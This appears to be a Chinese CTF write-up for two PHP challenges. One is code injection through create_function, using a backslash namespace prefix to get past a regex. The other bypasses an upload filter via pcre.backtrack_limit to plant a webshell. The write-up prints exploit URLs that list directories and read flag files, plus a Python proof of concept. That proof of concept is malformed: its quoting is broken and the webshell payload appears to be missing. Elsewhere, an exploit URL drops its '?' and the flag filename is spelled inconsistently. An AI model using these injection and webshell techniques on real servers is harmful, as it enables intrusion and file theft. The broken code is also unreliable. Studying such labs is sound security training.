$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
preg_match()
- (PHP 4, PHP 5, PHP 7) preg_match — 执行匹配正则表达式
- preg_match( string
$pattern
, string$subject
[, array&$matches
[, int$flags
= 0[, int $offset= 0]]] ) : int 搜索subject
与pattern
给定的正则表达式的一个匹配.- **preg_match()返回
pattern
的匹配次数。它的值将是0次(不匹配)或1次,因为preg_match()**在第一次匹配后将会停止搜索。
show_source()
show_source() 对文件进行语法高亮,打印或输出,代码
变量"(FILE)"
变量__file__ 文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名。自
PHP 4.0.2 起,**FILE**总是包含一个绝对路径(如果是符号连接,则是解析后的绝对路径),而在此之前的版本有时会包含一个相对路径。
php命名空间
php的命名空间默认为(即为全局空间),所有的函数和类都在\这个命名空间中如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
create_function()
(PHP 4 >= 4.0.1, PHP 5, PHP 7) create_function — Create an anonymous (lambda-style) function
create_function的第一个参数是参数,第二个参数是内容。
print_r()
print_r — 以易于理解的格式打印变量。
scandir()
scandir — 列出指定路径中的文件和目录
file_get_contents()
file_get_contents() —将整个文件读入一个字符串
create_function('$a,$b','return 111;}phpinfo();//')
==>
function a($a, $b){
return 111;}phpinfo();//
}
exp
http://127.0.0.1:8087/action=\create_function&arg=2;}print_r(scandir(%27../%27));/*
可以知道此目录下还有一个flag_h0w2execute_arbltary_c0de文件
exp
http://127.0.0.1:8087/action=\create_function&arg=2;}print_r(file_get_contents(%27../flag_h0w2execute_arb1trary_c0de%27));/*
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
} 1
die()
同exit() — 输出一个消息并且退出当前脚本
exit([ string
$status
] ) : void exit( int
$status
) : void
$_FILES
PHP 的全局数组 $_FILES,可以从客户计算机向远程服务器上传文件。
$_FILES[“file”]""[“tmp_name”]- 存储在服务器的文件的临时副本的名称
$_SERVER
$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。
$_SERVER[‘REMOTE_ADDR’]-浏览当前页面的用户的 IP 地址。
move_uploaded_file()
move_uploaded_file — 将上传的文件移动到新位置
move_uploaded_file
( string$filename
, string$destination
) : bool
header(string,replace,http_response_code)
header — 发送原生 HTTP 头
**“Location:”**的头信息。它不仅把报文发送给浏览器,而且还将返回给浏览器一个 REDIRECT(302)的状态码
可选参数 replace 表明是否用后面的头替换前面相同类型的头。true会替换
http_response_code强制指定HTTP响应的值。注意,这个参数只有在报文字符串(
string
)不为空的情况下才有效。
@
@是PHP提供的错误信息屏蔽的专用符号
mkdir()
mkdir()函数-新建目录
mkdir( string
$pathname
[, int$mode
= 0777[, bool$recursive
= false[, resource$context
]]] ) : boolmode参数0777表示最大权限,0777为8进制数**(777前加0表示八进制数)**,三个八进制数来表示权限
由题目可知,我们需要绕过这个正则匹配**’/.[(`;?>]./is’**,仔细一看是一种php文件的格式。
目标是绕过is_php()函数,写入文件的方式来写入webshell
pcre.backtrack_limit
。preg_match()
返回false
,不是1或0
。则绕过了正则。poc
注:在Ubuntu环境下,为了方便,我将原来POST传参改为了GET传参(p神官方脚本)
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa + b'a' * 1000000)
}
#Bytes()函数写入file文件内容为上
res = requests.post('http://127.0.0.1:8088', files=files,allow_redirects=False)
print(res.headers)
可得路径:Location:data/122c4a55d1a70cef972cac3982dd49a6/9.php
exp
http://127.0.0.1:8088/data/122c4a55d1a70cef972cac3982dd49a6/9.php?txt=print_r(scandir(%27../../../%27));
exp
http://127.0.0.1:8088/data/122c4a55d1a70cef972cac3982dd49a6/9.php?txt=print_r(file_get_contents(%27../../../flag_php7_2_1s_c0rrect%27));